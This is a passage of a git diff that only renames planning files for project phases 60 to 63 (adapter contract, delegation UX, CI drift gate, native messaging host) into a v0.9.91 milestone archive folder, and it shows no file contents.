b/.planning/milestones/v0.9.91-phases/60-adapter-contract-claude-code-mvp/60-03-PLAN.md similarity index 100% rename from .planning/phases/60-adapter-contract-claude-code-mvp/60-03-PLAN.md rename to .planning/milestones/v0.9.91-phases/60-adapter-contract-claude-code-mvp/60-03-PLAN.md diff --git a/.planning/phases/60-adapter-contract-claude-code-mvp/60-03-SUMMARY.md b/.planning/milestones/v0.9.91-phases/60-adapter-contract-claude-code-mvp/60-03-SUMMARY.md similarity index 100% rename from .planning/phases/60-adapter-contract-claude-code-mvp/60-03-SUMMARY.md rename to .planning/milestones/v0.9.91-phases/60-adapter-contract-claude-code-mvp/60-03-SUMMARY.md diff --git a/.planning/phases/60-adapter-contract-claude-code-mvp/60-04-PLAN.md b/.planning/milestones/v0.9.91-phases/60-adapter-contract-claude-code-mvp/60-04-PLAN.md similarity index 100% rename from .planning/phases/60-adapter-contract-claude-code-mvp/60-04-PLAN.md rename to .planning/milestones/v0.9.91-phases/60-adapter-contract-claude-code-mvp/60-04-PLAN.md diff --git a/.planning/phases/60-adapter-contract-claude-code-mvp/60-04-SUMMARY.md b/.planning/milestones/v0.9.91-phases/60-adapter-contract-claude-code-mvp/60-04-SUMMARY.md similarity index 100% rename from .planning/phases/60-adapter-contract-claude-code-mvp/60-04-SUMMARY.md rename to .planning/milestones/v0.9.91-phases/60-adapter-contract-claude-code-mvp/60-04-SUMMARY.md diff --git a/.planning/phases/60-adapter-contract-claude-code-mvp/60-AI-SPEC.md b/.planning/milestones/v0.9.91-phases/60-adapter-contract-claude-code-mvp/60-AI-SPEC.md similarity index 100% rename from .planning/phases/60-adapter-contract-claude-code-mvp/60-AI-SPEC.md rename to .planning/milestones/v0.9.91-phases/60-adapter-contract-claude-code-mvp/60-AI-SPEC.md diff --git a/.planning/phases/60-adapter-contract-claude-code-mvp/60-CONTEXT.md b/.planning/milestones/v0.9.91-phases/60-adapter-contract-claude-code-mvp/60-CONTEXT.md similarity index 100% rename from .planning/phases/60-adapter-contract-claude-code-mvp/60-CONTEXT.md rename to .planning/milestones/v0.9.91-phases/60-adapter-contract-claude-code-mvp/60-CONTEXT.md diff --git a/.planning/phases/60-adapter-contract-claude-code-mvp/60-DISCUSSION-LOG.md b/.planning/milestones/v0.9.91-phases/60-adapter-contract-claude-code-mvp/60-DISCUSSION-LOG.md similarity index 100% rename from .planning/phases/60-adapter-contract-claude-code-mvp/60-DISCUSSION-LOG.md rename to .planning/milestones/v0.9.91-phases/60-adapter-contract-claude-code-mvp/60-DISCUSSION-LOG.md diff --git a/.planning/phases/60-adapter-contract-claude-code-mvp/60-HUMAN-UAT.md b/.planning/milestones/v0.9.91-phases/60-adapter-contract-claude-code-mvp/60-HUMAN-UAT.md similarity index 100% rename from .planning/phases/60-adapter-contract-claude-code-mvp/60-HUMAN-UAT.md rename to .planning/milestones/v0.9.91-phases/60-adapter-contract-claude-code-mvp/60-HUMAN-UAT.md diff --git a/.planning/phases/60-adapter-contract-claude-code-mvp/60-RESEARCH.md b/.planning/milestones/v0.9.91-phases/60-adapter-contract-claude-code-mvp/60-RESEARCH.md similarity index 100% rename from .planning/phases/60-adapter-contract-claude-code-mvp/60-RESEARCH.md rename to .planning/milestones/v0.9.91-phases/60-adapter-contract-claude-code-mvp/60-RESEARCH.md diff --git a/.planning/phases/60-adapter-contract-claude-code-mvp/60-REVIEW-FIX.iter2.md b/.planning/milestones/v0.9.91-phases/60-adapter-contract-claude-code-mvp/60-REVIEW-FIX.iter2.md similarity index 100% rename from .planning/phases/60-adapter-contract-claude-code-mvp/60-REVIEW-FIX.iter2.md rename to .planning/milestones/v0.9.91-phases/60-adapter-contract-claude-code-mvp/60-REVIEW-FIX.iter2.md diff --git a/.planning/phases/60-adapter-contract-claude-code-mvp/60-REVIEW-FIX.iter3.md b/.planning/milestones/v0.9.91-phases/60-adapter-contract-claude-code-mvp/60-REVIEW-FIX.iter3.md similarity index 100% rename from .planning/phases/60-adapter-contract-claude-code-mvp/60-REVIEW-FIX.iter3.md rename to .planning/milestones/v0.9.91-phases/60-adapter-contract-claude-code-mvp/60-REVIEW-FIX.iter3.md diff --git a/.planning/phases/60-adapter-contract-claude-code-mvp/60-REVIEW-FIX.md b/.planning/milestones/v0.9.91-phases/60-adapter-contract-claude-code-mvp/60-REVIEW-FIX.md similarity index 100% rename from .planning/phases/60-adapter-contract-claude-code-mvp/60-REVIEW-FIX.md rename to .planning/milestones/v0.9.91-phases/60-adapter-contract-claude-code-mvp/60-REVIEW-FIX.md diff --git a/.planning/phases/60-adapter-contract-claude-code-mvp/60-REVIEW.iter2.md b/.planning/milestones/v0.9.91-phases/60-adapter-contract-claude-code-mvp/60-REVIEW.iter2.md similarity index 100% rename from .planning/phases/60-adapter-contract-claude-code-mvp/60-REVIEW.iter2.md rename to .planning/milestones/v0.9.91-phases/60-adapter-contract-claude-code-mvp/60-REVIEW.iter2.md diff --git a/.planning/phases/60-adapter-contract-claude-code-mvp/60-REVIEW.iter3.md b/.planning/milestones/v0.9.91-phases/60-adapter-contract-claude-code-mvp/60-REVIEW.iter3.md similarity index 100% rename from .planning/phases/60-adapter-contract-claude-code-mvp/60-REVIEW.iter3.md rename to .planning/milestones/v0.9.91-phases/60-adapter-contract-claude-code-mvp/60-REVIEW.iter3.md diff --git a/.planning/phases/60-adapter-contract-claude-code-mvp/60-REVIEW.md b/.planning/milestones/v0.9.91-phases/60-adapter-contract-claude-code-mvp/60-REVIEW.md similarity index 100% rename from .planning/phases/60-adapter-contract-claude-code-mvp/60-REVIEW.md rename to .planning/milestones/v0.9.91-phases/60-adapter-contract-claude-code-mvp/60-REVIEW.md diff --git a/.planning/phases/60-adapter-contract-claude-code-mvp/60-VALIDATION.md b/.planning/milestones/v0.9.91-phases/60-adapter-contract-claude-code-mvp/60-VALIDATION.md similarity index 100% rename from .planning/phases/60-adapter-contract-claude-code-mvp/60-VALIDATION.md rename to .planning/milestones/v0.9.91-phases/60-adapter-contract-claude-code-mvp/60-VALIDATION.md diff --git a/.planning/phases/60-adapter-contract-claude-code-mvp/60-VERIFICATION.md b/.planning/milestones/v0.9.91-phases/60-adapter-contract-claude-code-mvp/60-VERIFICATION.md similarity index 100% rename from .planning/phases/60-adapter-contract-claude-code-mvp/60-VERIFICATION.md rename to .planning/milestones/v0.9.91-phases/60-adapter-contract-claude-code-mvp/60-VERIFICATION.md diff --git a/.planning/phases/61-delegation-ux-sw-eviction-persistence/61-01-PLAN.md b/.planning/milestones/v0.9.91-phases/61-delegation-ux-sw-eviction-persistence/61-01-PLAN.md similarity index 100% rename from .planning/phases/61-delegation-ux-sw-eviction-persistence/61-01-PLAN.md rename to .planning/milestones/v0.9.91-phases/61-delegation-ux-sw-eviction-persistence/61-01-PLAN.md diff --git a/.planning/phases/61-delegation-ux-sw-eviction-persistence/61-01-SUMMARY.md b/.planning/milestones/v0.9.91-phases/61-delegation-ux-sw-eviction-persistence/61-01-SUMMARY.md similarity index 100% rename from .planning/phases/61-delegation-ux-sw-eviction-persistence/61-01-SUMMARY.md rename to .planning/milestones/v0.9.91-phases/61-delegation-ux-sw-eviction-persistence/61-01-SUMMARY.md diff --git a/.planning/phases/61-delegation-ux-sw-eviction-persistence/61-02-PLAN.md b/.planning/milestones/v0.9.91-phases/61-delegation-ux-sw-eviction-persistence/61-02-PLAN.md similarity index 100% rename from .planning/phases/61-delegation-ux-sw-eviction-persistence/61-02-PLAN.md rename to .planning/milestones/v0.9.91-phases/61-delegation-ux-sw-eviction-persistence/61-02-PLAN.md diff --git a/.planning/phases/61-delegation-ux-sw-eviction-persistence/61-02-SUMMARY.md b/.planning/milestones/v0.9.91-phases/61-delegation-ux-sw-eviction-persistence/61-02-SUMMARY.md similarity index 100% rename from .planning/phases/61-delegation-ux-sw-eviction-persistence/61-02-SUMMARY.md rename to .planning/milestones/v0.9.91-phases/61-delegation-ux-sw-eviction-persistence/61-02-SUMMARY.md diff --git a/.planning/phases/61-delegation-ux-sw-eviction-persistence/61-03-PLAN.md b/.planning/milestones/v0.9.91-phases/61-delegation-ux-sw-eviction-persistence/61-03-PLAN.md similarity index 100% rename from .planning/phases/61-delegation-ux-sw-eviction-persistence/61-03-PLAN.md rename to .planning/milestones/v0.9.91-phases/61-delegation-ux-sw-eviction-persistence/61-03-PLAN.md diff --git a/.planning/phases/61-delegation-ux-sw-eviction-persistence/61-03-SUMMARY.md b/.planning/milestones/v0.9.91-phases/61-delegation-ux-sw-eviction-persistence/61-03-SUMMARY.md similarity index 100% rename from .planning/phases/61-delegation-ux-sw-eviction-persistence/61-03-SUMMARY.md rename to .planning/milestones/v0.9.91-phases/61-delegation-ux-sw-eviction-persistence/61-03-SUMMARY.md diff --git a/.planning/phases/61-delegation-ux-sw-eviction-persistence/61-04-PLAN.md b/.planning/milestones/v0.9.91-phases/61-delegation-ux-sw-eviction-persistence/61-04-PLAN.md similarity index 100% rename from .planning/phases/61-delegation-ux-sw-eviction-persistence/61-04-PLAN.md rename to .planning/milestones/v0.9.91-phases/61-delegation-ux-sw-eviction-persistence/61-04-PLAN.md diff --git a/.planning/phases/61-delegation-ux-sw-eviction-persistence/61-04-SUMMARY.md b/.planning/milestones/v0.9.91-phases/61-delegation-ux-sw-eviction-persistence/61-04-SUMMARY.md similarity index 100% rename from .planning/phases/61-delegation-ux-sw-eviction-persistence/61-04-SUMMARY.md rename to .planning/milestones/v0.9.91-phases/61-delegation-ux-sw-eviction-persistence/61-04-SUMMARY.md diff --git a/.planning/phases/61-delegation-ux-sw-eviction-persistence/61-05-PLAN.md b/.planning/milestones/v0.9.91-phases/61-delegation-ux-sw-eviction-persistence/61-05-PLAN.md similarity index 100% rename from .planning/phases/61-delegation-ux-sw-eviction-persistence/61-05-PLAN.md rename to .planning/milestones/v0.9.91-phases/61-delegation-ux-sw-eviction-persistence/61-05-PLAN.md diff --git a/.planning/phases/61-delegation-ux-sw-eviction-persistence/61-05-SUMMARY.md b/.planning/milestones/v0.9.91-phases/61-delegation-ux-sw-eviction-persistence/61-05-SUMMARY.md similarity index 100% rename from .planning/phases/61-delegation-ux-sw-eviction-persistence/61-05-SUMMARY.md rename to .planning/milestones/v0.9.91-phases/61-delegation-ux-sw-eviction-persistence/61-05-SUMMARY.md diff --git a/.planning/phases/61-delegation-ux-sw-eviction-persistence/61-06-PLAN.md b/.planning/milestones/v0.9.91-phases/61-delegation-ux-sw-eviction-persistence/61-06-PLAN.md similarity index 100% rename from .planning/phases/61-delegation-ux-sw-eviction-persistence/61-06-PLAN.md rename to .planning/milestones/v0.9.91-phases/61-delegation-ux-sw-eviction-persistence/61-06-PLAN.md diff --git a/.planning/phases/61-delegation-ux-sw-eviction-persistence/61-06-SUMMARY.md b/.planning/milestones/v0.9.91-phases/61-delegation-ux-sw-eviction-persistence/61-06-SUMMARY.md similarity index 100% rename from .planning/phases/61-delegation-ux-sw-eviction-persistence/61-06-SUMMARY.md rename to .planning/milestones/v0.9.91-phases/61-delegation-ux-sw-eviction-persistence/61-06-SUMMARY.md diff --git a/.planning/phases/61-delegation-ux-sw-eviction-persistence/61-07-PLAN.md b/.planning/milestones/v0.9.91-phases/61-delegation-ux-sw-eviction-persistence/61-07-PLAN.md similarity index 100% rename from .planning/phases/61-delegation-ux-sw-eviction-persistence/61-07-PLAN.md rename to .planning/milestones/v0.9.91-phases/61-delegation-ux-sw-eviction-persistence/61-07-PLAN.md diff --git a/.planning/phases/61-delegation-ux-sw-eviction-persistence/61-07-SUMMARY.md b/.planning/milestones/v0.9.91-phases/61-delegation-ux-sw-eviction-persistence/61-07-SUMMARY.md similarity index 100% rename from .planning/phases/61-delegation-ux-sw-eviction-persistence/61-07-SUMMARY.md rename to .planning/milestones/v0.9.91-phases/61-delegation-ux-sw-eviction-persistence/61-07-SUMMARY.md diff --git a/.planning/phases/61-delegation-ux-sw-eviction-persistence/61-08-PLAN.md b/.planning/milestones/v0.9.91-phases/61-delegation-ux-sw-eviction-persistence/61-08-PLAN.md similarity index 100% rename from .planning/phases/61-delegation-ux-sw-eviction-persistence/61-08-PLAN.md rename to .planning/milestones/v0.9.91-phases/61-delegation-ux-sw-eviction-persistence/61-08-PLAN.md diff --git a/.planning/phases/61-delegation-ux-sw-eviction-persistence/61-08-SUMMARY.md b/.planning/milestones/v0.9.91-phases/61-delegation-ux-sw-eviction-persistence/61-08-SUMMARY.md similarity index 100% rename from .planning/phases/61-delegation-ux-sw-eviction-persistence/61-08-SUMMARY.md rename to .planning/milestones/v0.9.91-phases/61-delegation-ux-sw-eviction-persistence/61-08-SUMMARY.md diff --git a/.planning/phases/61-delegation-ux-sw-eviction-persistence/61-CONTEXT.md b/.planning/milestones/v0.9.91-phases/61-delegation-ux-sw-eviction-persistence/61-CONTEXT.md similarity index 100% rename from .planning/phases/61-delegation-ux-sw-eviction-persistence/61-CONTEXT.md rename to .planning/milestones/v0.9.91-phases/61-delegation-ux-sw-eviction-persistence/61-CONTEXT.md diff --git a/.planning/phases/61-delegation-ux-sw-eviction-persistence/61-DISCUSSION-LOG.md b/.planning/milestones/v0.9.91-phases/61-delegation-ux-sw-eviction-persistence/61-DISCUSSION-LOG.md similarity index 100% rename from .planning/phases/61-delegation-ux-sw-eviction-persistence/61-DISCUSSION-LOG.md rename to .planning/milestones/v0.9.91-phases/61-delegation-ux-sw-eviction-persistence/61-DISCUSSION-LOG.md diff --git a/.planning/phases/61-delegation-ux-sw-eviction-persistence/61-HUMAN-UAT.md b/.planning/milestones/v0.9.91-phases/61-delegation-ux-sw-eviction-persistence/61-HUMAN-UAT.md similarity index 100% rename from .planning/phases/61-delegation-ux-sw-eviction-persistence/61-HUMAN-UAT.md rename to .planning/milestones/v0.9.91-phases/61-delegation-ux-sw-eviction-persistence/61-HUMAN-UAT.md diff --git a/.planning/phases/61-delegation-ux-sw-eviction-persistence/61-PATTERNS.md b/.planning/milestones/v0.9.91-phases/61-delegation-ux-sw-eviction-persistence/61-PATTERNS.md similarity index 100% rename from .planning/phases/61-delegation-ux-sw-eviction-persistence/61-PATTERNS.md rename to .planning/milestones/v0.9.91-phases/61-delegation-ux-sw-eviction-persistence/61-PATTERNS.md diff --git a/.planning/phases/61-delegation-ux-sw-eviction-persistence/61-RESEARCH.md b/.planning/milestones/v0.9.91-phases/61-delegation-ux-sw-eviction-persistence/61-RESEARCH.md similarity index 100% rename from .planning/phases/61-delegation-ux-sw-eviction-persistence/61-RESEARCH.md rename to .planning/milestones/v0.9.91-phases/61-delegation-ux-sw-eviction-persistence/61-RESEARCH.md diff --git a/.planning/phases/61-delegation-ux-sw-eviction-persistence/61-REVIEW-FIX.md b/.planning/milestones/v0.9.91-phases/61-delegation-ux-sw-eviction-persistence/61-REVIEW-FIX.md similarity index 100% rename from .planning/phases/61-delegation-ux-sw-eviction-persistence/61-REVIEW-FIX.md rename to .planning/milestones/v0.9.91-phases/61-delegation-ux-sw-eviction-persistence/61-REVIEW-FIX.md diff --git a/.planning/phases/61-delegation-ux-sw-eviction-persistence/61-REVIEW.md b/.planning/milestones/v0.9.91-phases/61-delegation-ux-sw-eviction-persistence/61-REVIEW.md similarity index 100% rename from .planning/phases/61-delegation-ux-sw-eviction-persistence/61-REVIEW.md rename to .planning/milestones/v0.9.91-phases/61-delegation-ux-sw-eviction-persistence/61-REVIEW.md diff --git a/.planning/phases/61-delegation-ux-sw-eviction-persistence/61-SECURITY.md b/.planning/milestones/v0.9.91-phases/61-delegation-ux-sw-eviction-persistence/61-SECURITY.md similarity index 100% rename from .planning/phases/61-delegation-ux-sw-eviction-persistence/61-SECURITY.md rename to .planning/milestones/v0.9.91-phases/61-delegation-ux-sw-eviction-persistence/61-SECURITY.md diff --git a/.planning/phases/61-delegation-ux-sw-eviction-persistence/61-UI-REVIEW.md b/.planning/milestones/v0.9.91-phases/61-delegation-ux-sw-eviction-persistence/61-UI-REVIEW.md similarity index 100% rename from .planning/phases/61-delegation-ux-sw-eviction-persistence/61-UI-REVIEW.md rename to .planning/milestones/v0.9.91-phases/61-delegation-ux-sw-eviction-persistence/61-UI-REVIEW.md diff --git a/.planning/phases/61-delegation-ux-sw-eviction-persistence/61-UI-SPEC.md b/.planning/milestones/v0.9.91-phases/61-delegation-ux-sw-eviction-persistence/61-UI-SPEC.md similarity index 100% rename from .planning/phases/61-delegation-ux-sw-eviction-persistence/61-UI-SPEC.md rename to .planning/milestones/v0.9.91-phases/61-delegation-ux-sw-eviction-persistence/61-UI-SPEC.md diff --git a/.planning/phases/61-delegation-ux-sw-eviction-persistence/61-VALIDATION.md b/.planning/milestones/v0.9.91-phases/61-delegation-ux-sw-eviction-persistence/61-VALIDATION.md similarity index 100% rename from .planning/phases/61-delegation-ux-sw-eviction-persistence/61-VALIDATION.md rename to .planning/milestones/v0.9.91-phases/61-delegation-ux-sw-eviction-persistence/61-VALIDATION.md diff --git a/.planning/phases/61-delegation-ux-sw-eviction-persistence/61-VERIFICATION.md b/.planning/milestones/v0.9.91-phases/61-delegation-ux-sw-eviction-persistence/61-VERIFICATION.md similarity index 100% rename from .planning/phases/61-delegation-ux-sw-eviction-persistence/61-VERIFICATION.md rename to .planning/milestones/v0.9.91-phases/61-delegation-ux-sw-eviction-persistence/61-VERIFICATION.md diff --git a/.planning/phases/62-ci-drift-smoke-gate-doctor-extensions/62-01-PLAN.md b/.planning/milestones/v0.9.91-phases/62-ci-drift-smoke-gate-doctor-extensions/62-01-PLAN.md similarity index 100% rename from .planning/phases/62-ci-drift-smoke-gate-doctor-extensions/62-01-PLAN.md rename to .planning/milestones/v0.9.91-phases/62-ci-drift-smoke-gate-doctor-extensions/62-01-PLAN.md diff --git a/.planning/phases/62-ci-drift-smoke-gate-doctor-extensions/62-01-SUMMARY.md b/.planning/milestones/v0.9.91-phases/62-ci-drift-smoke-gate-doctor-extensions/62-01-SUMMARY.md similarity index 100% rename from .planning/phases/62-ci-drift-smoke-gate-doctor-extensions/62-01-SUMMARY.md rename to .planning/milestones/v0.9.91-phases/62-ci-drift-smoke-gate-doctor-extensions/62-01-SUMMARY.md diff --git a/.planning/phases/62-ci-drift-smoke-gate-doctor-extensions/62-02-PLAN.md b/.planning/milestones/v0.9.91-phases/62-ci-drift-smoke-gate-doctor-extensions/62-02-PLAN.md similarity index 100% rename from .planning/phases/62-ci-drift-smoke-gate-doctor-extensions/62-02-PLAN.md rename to .planning/milestones/v0.9.91-phases/62-ci-drift-smoke-gate-doctor-extensions/62-02-PLAN.md diff --git a/.planning/phases/62-ci-drift-smoke-gate-doctor-extensions/62-02-SUMMARY.md b/.planning/milestones/v0.9.91-phases/62-ci-drift-smoke-gate-doctor-extensions/62-02-SUMMARY.md similarity index 100% rename from .planning/phases/62-ci-drift-smoke-gate-doctor-extensions/62-02-SUMMARY.md rename to .planning/milestones/v0.9.91-phases/62-ci-drift-smoke-gate-doctor-extensions/62-02-SUMMARY.md diff --git a/.planning/phases/62-ci-drift-smoke-gate-doctor-extensions/62-03-PLAN.md b/.planning/milestones/v0.9.91-phases/62-ci-drift-smoke-gate-doctor-extensions/62-03-PLAN.md similarity index 100% rename from .planning/phases/62-ci-drift-smoke-gate-doctor-extensions/62-03-PLAN.md rename to .planning/milestones/v0.9.91-phases/62-ci-drift-smoke-gate-doctor-extensions/62-03-PLAN.md diff --git a/.planning/phases/62-ci-drift-smoke-gate-doctor-extensions/62-03-SUMMARY.md b/.planning/milestones/v0.9.91-phases/62-ci-drift-smoke-gate-doctor-extensions/62-03-SUMMARY.md similarity index 100% rename from .planning/phases/62-ci-drift-smoke-gate-doctor-extensions/62-03-SUMMARY.md rename to .planning/milestones/v0.9.91-phases/62-ci-drift-smoke-gate-doctor-extensions/62-03-SUMMARY.md diff --git a/.planning/phases/62-ci-drift-smoke-gate-doctor-extensions/62-04-PLAN.md b/.planning/milestones/v0.9.91-phases/62-ci-drift-smoke-gate-doctor-extensions/62-04-PLAN.md similarity index 100% rename from .planning/phases/62-ci-drift-smoke-gate-doctor-extensions/62-04-PLAN.md rename to .planning/milestones/v0.9.91-phases/62-ci-drift-smoke-gate-doctor-extensions/62-04-PLAN.md diff --git a/.planning/phases/62-ci-drift-smoke-gate-doctor-extensions/62-04-SUMMARY.md b/.planning/milestones/v0.9.91-phases/62-ci-drift-smoke-gate-doctor-extensions/62-04-SUMMARY.md similarity index 100% rename from .planning/phases/62-ci-drift-smoke-gate-doctor-extensions/62-04-SUMMARY.md rename to .planning/milestones/v0.9.91-phases/62-ci-drift-smoke-gate-doctor-extensions/62-04-SUMMARY.md diff --git a/.planning/phases/62-ci-drift-smoke-gate-doctor-extensions/62-05-PLAN.md b/.planning/milestones/v0.9.91-phases/62-ci-drift-smoke-gate-doctor-extensions/62-05-PLAN.md similarity index 100% rename from .planning/phases/62-ci-drift-smoke-gate-doctor-extensions/62-05-PLAN.md rename to .planning/milestones/v0.9.91-phases/62-ci-drift-smoke-gate-doctor-extensions/62-05-PLAN.md diff --git a/.planning/phases/62-ci-drift-smoke-gate-doctor-extensions/62-05-SUMMARY.md b/.planning/milestones/v0.9.91-phases/62-ci-drift-smoke-gate-doctor-extensions/62-05-SUMMARY.md similarity index 100% rename from .planning/phases/62-ci-drift-smoke-gate-doctor-extensions/62-05-SUMMARY.md rename to .planning/milestones/v0.9.91-phases/62-ci-drift-smoke-gate-doctor-extensions/62-05-SUMMARY.md diff --git a/.planning/phases/62-ci-drift-smoke-gate-doctor-extensions/62-06-PLAN.md b/.planning/milestones/v0.9.91-phases/62-ci-drift-smoke-gate-doctor-extensions/62-06-PLAN.md similarity index 100% rename from .planning/phases/62-ci-drift-smoke-gate-doctor-extensions/62-06-PLAN.md rename to .planning/milestones/v0.9.91-phases/62-ci-drift-smoke-gate-doctor-extensions/62-06-PLAN.md diff --git a/.planning/phases/62-ci-drift-smoke-gate-doctor-extensions/62-06-SUMMARY.md b/.planning/milestones/v0.9.91-phases/62-ci-drift-smoke-gate-doctor-extensions/62-06-SUMMARY.md similarity index 100% rename from .planning/phases/62-ci-drift-smoke-gate-doctor-extensions/62-06-SUMMARY.md rename to .planning/milestones/v0.9.91-phases/62-ci-drift-smoke-gate-doctor-extensions/62-06-SUMMARY.md diff --git a/.planning/phases/62-ci-drift-smoke-gate-doctor-extensions/62-CONTEXT.md b/.planning/milestones/v0.9.91-phases/62-ci-drift-smoke-gate-doctor-extensions/62-CONTEXT.md similarity index 100% rename from .planning/phases/62-ci-drift-smoke-gate-doctor-extensions/62-CONTEXT.md rename to .planning/milestones/v0.9.91-phases/62-ci-drift-smoke-gate-doctor-extensions/62-CONTEXT.md diff --git a/.planning/phases/62-ci-drift-smoke-gate-doctor-extensions/62-HUMAN-UAT.md b/.planning/milestones/v0.9.91-phases/62-ci-drift-smoke-gate-doctor-extensions/62-HUMAN-UAT.md similarity index 100% rename from .planning/phases/62-ci-drift-smoke-gate-doctor-extensions/62-HUMAN-UAT.md rename to .planning/milestones/v0.9.91-phases/62-ci-drift-smoke-gate-doctor-extensions/62-HUMAN-UAT.md diff --git a/.planning/phases/62-ci-drift-smoke-gate-doctor-extensions/62-RESEARCH.md b/.planning/milestones/v0.9.91-phases/62-ci-drift-smoke-gate-doctor-extensions/62-RESEARCH.md similarity index 100% rename from .planning/phases/62-ci-drift-smoke-gate-doctor-extensions/62-RESEARCH.md rename to .planning/milestones/v0.9.91-phases/62-ci-drift-smoke-gate-doctor-extensions/62-RESEARCH.md diff --git a/.planning/phases/62-ci-drift-smoke-gate-doctor-extensions/62-REVIEW-FIX.md b/.planning/milestones/v0.9.91-phases/62-ci-drift-smoke-gate-doctor-extensions/62-REVIEW-FIX.md similarity index 100% rename from .planning/phases/62-ci-drift-smoke-gate-doctor-extensions/62-REVIEW-FIX.md rename to .planning/milestones/v0.9.91-phases/62-ci-drift-smoke-gate-doctor-extensions/62-REVIEW-FIX.md diff --git a/.planning/phases/62-ci-drift-smoke-gate-doctor-extensions/62-REVIEW.md b/.planning/milestones/v0.9.91-phases/62-ci-drift-smoke-gate-doctor-extensions/62-REVIEW.md similarity index 100% rename from .planning/phases/62-ci-drift-smoke-gate-doctor-extensions/62-REVIEW.md rename to .planning/milestones/v0.9.91-phases/62-ci-drift-smoke-gate-doctor-extensions/62-REVIEW.md diff --git a/.planning/phases/62-ci-drift-smoke-gate-doctor-extensions/62-SECURITY.md b/.planning/milestones/v0.9.91-phases/62-ci-drift-smoke-gate-doctor-extensions/62-SECURITY.md similarity index 100% rename from .planning/phases/62-ci-drift-smoke-gate-doctor-extensions/62-SECURITY.md rename to .planning/milestones/v0.9.91-phases/62-ci-drift-smoke-gate-doctor-extensions/62-SECURITY.md diff --git a/.planning/phases/62-ci-drift-smoke-gate-doctor-extensions/62-UI-REVIEW.md b/.planning/milestones/v0.9.91-phases/62-ci-drift-smoke-gate-doctor-extensions/62-UI-REVIEW.md similarity index 100% rename from .planning/phases/62-ci-drift-smoke-gate-doctor-extensions/62-UI-REVIEW.md rename to .planning/milestones/v0.9.91-phases/62-ci-drift-smoke-gate-doctor-extensions/62-UI-REVIEW.md diff --git a/.planning/phases/62-ci-drift-smoke-gate-doctor-extensions/62-UI-SPEC.md b/.planning/milestones/v0.9.91-phases/62-ci-drift-smoke-gate-doctor-extensions/62-UI-SPEC.md similarity index 100% rename from .planning/phases/62-ci-drift-smoke-gate-doctor-extensions/62-UI-SPEC.md rename to .planning/milestones/v0.9.91-phases/62-ci-drift-smoke-gate-doctor-extensions/62-UI-SPEC.md diff --git a/.planning/phases/62-ci-drift-smoke-gate-doctor-extensions/62-VALIDATION.md b/.planning/milestones/v0.9.91-phases/62-ci-drift-smoke-gate-doctor-extensions/62-VALIDATION.md similarity index 100% rename from .planning/phases/62-ci-drift-smoke-gate-doctor-extensions/62-VALIDATION.md rename to .planning/milestones/v0.9.91-phases/62-ci-drift-smoke-gate-doctor-extensions/62-VALIDATION.md diff --git a/.planning/phases/62-ci-drift-smoke-gate-doctor-extensions/62-VERIFICATION.md b/.planning/milestones/v0.9.91-phases/62-ci-drift-smoke-gate-doctor-extensions/62-VERIFICATION.md similarity index 100% rename from .planning/phases/62-ci-drift-smoke-gate-doctor-extensions/62-VERIFICATION.md rename to .planning/milestones/v0.9.91-phases/62-ci-drift-smoke-gate-doctor-extensions/62-VERIFICATION.md diff --git a/.planning/phases/63-native-messaging-host/63-01-PLAN.md b/.planning/milestones/v0.9.91-phases/63-native-messaging-host/63-01-PLAN.md similarity index 100% rename from .planning/phases/63-native-messaging-host/63-01-PLAN.md rename to .planning/milestones/v0.9.91-phases/63-native-messaging-host/63-01-PLAN.md diff --git a/.planning/phases/63-native-messaging-host/63-01-SUMMARY.md b/.planning/milestones/v0.9.91-phases/63-native-messaging-host/63-01-SUMMARY.md similarity index 100% rename from .planning/phases/63-native-messaging-host/63-01-SUMMARY.md rename to .planning/milestones/v0.9.91-phases/63-native-messaging-host/63-01-SUMMARY.md diff --git a/.planning/phases/63-native-messaging-host/63-02-PLAN.md b/.planning/milestones/v0.9.91-phases/63-native-messaging-host/63-02-PLAN.md similarity index 100% rename from .planning/phases/63-native-messaging-host/63-02-PLAN.md rename to .planning/milestones/v0.9.91-phases/63-native-messaging-host/63-02-PLAN.md diff --git a/.planning/phases/63-native-messaging-host/63-02-SUMMARY.md b/.planning/milestones/v0.9.91-phases/63-native-messaging-host/63-02-SUMMARY.md similarity index 100% rename from .planning/phases/63-native-messaging-host/63-02-SUMMARY.md rename to .planning/milestones/v0.9.91-phases/63-native-messaging-host/63-02-SUMMARY.md diff --git a/.planning/phases/63-native-messaging-host/63-03-PLAN.md b/.planning/milestones/v0.9.91-phases/63-native-messaging-host/63-03-PLAN.md similarity index 100% rename from .planning/phases/63-native-messaging-host/63-03-PLAN.md rename to .planning/milestones/v0.9.91-phases/63-native-messaging-host/63-03-PLAN.md diff --git a/.planning/phases/63-native-messaging-host/63-03-SUMMARY.md b/.planning/milestones/v0.9.91-phases/63-native-messaging-host/63-03-SUMMARY.md similarity index 100% rename from .planning/phases/63-native-messaging-host/63-03-SUMMARY.md rename to .planning/milestones/v0.9.91-phases/63-native-messaging-host/63-03-SUMMARY.md diff --git a/.planning/phases/63-native-messaging-host/63-04-PLAN.md b/.planning/milestones/v0.9.91-phases/63-native-messaging-host/63-04-PLAN.md similarity index 100% rename from .planning/phases/63-native-messaging-host/63-04-PLAN.md rename to .planning/milestones/v0.9.91-phases/63-native-messaging-host/63-04-PLAN.md diff --git a/.planning/phases/63-native-messaging-host/63-04-SUMMARY.md b/.planning/milestones/v0.9.91-phases/63-native-messaging-host/63-04-SUMMARY.md similarity index 100% rename from .planning/phases/63-native-messaging-host/63-04-SUMMARY.md rename to .planning/milestones/v0.9.91-phases/63-native-messaging-host/63-04-SUMMARY.md diff --git a/.planning/phases/63-native-messaging-host/63-05-PLAN.md b/.planning/milestones/v0.9.91-phases/63-native-messaging-host/63-05-PLAN.md similarity index 100% rename from .planning/phases/63-native-messaging-host/63-05-PLAN.md rename to .planning/milestones/v0.9.91-phases/63-native-messaging-host/63-05-PLAN.md diff --git a/.planning/phases/63-native-messaging-host/63-05-SUMMARY.md b/.planning/milestones/v0.9.91-phases/63-native-messaging-host/63-05-SUMMARY.md similarity index 100% rename from .planning/phases/63-native-messaging-host/63-05-SUMMARY.md rename to .planning/milestones/v0.9.91-phases/63-native-messaging-host/63-05-SUMMARY.md diff --git a/.planning/phases/63-native-messaging-host/63-06-PLAN.md b/.planning/milestones/v0.9.91-phases/63-native-messaging-host/63-06-PLAN.md similarity index 100% rename from .planning/phases/63-native-messaging-host/63-06-PLAN.md rename to .planning/milestones/v0.9.91-phases/63-native-messaging-host/63-06-PLAN.md diff --git a/.planning/phases/63-native-messaging-host/63-06-SUMMARY.md 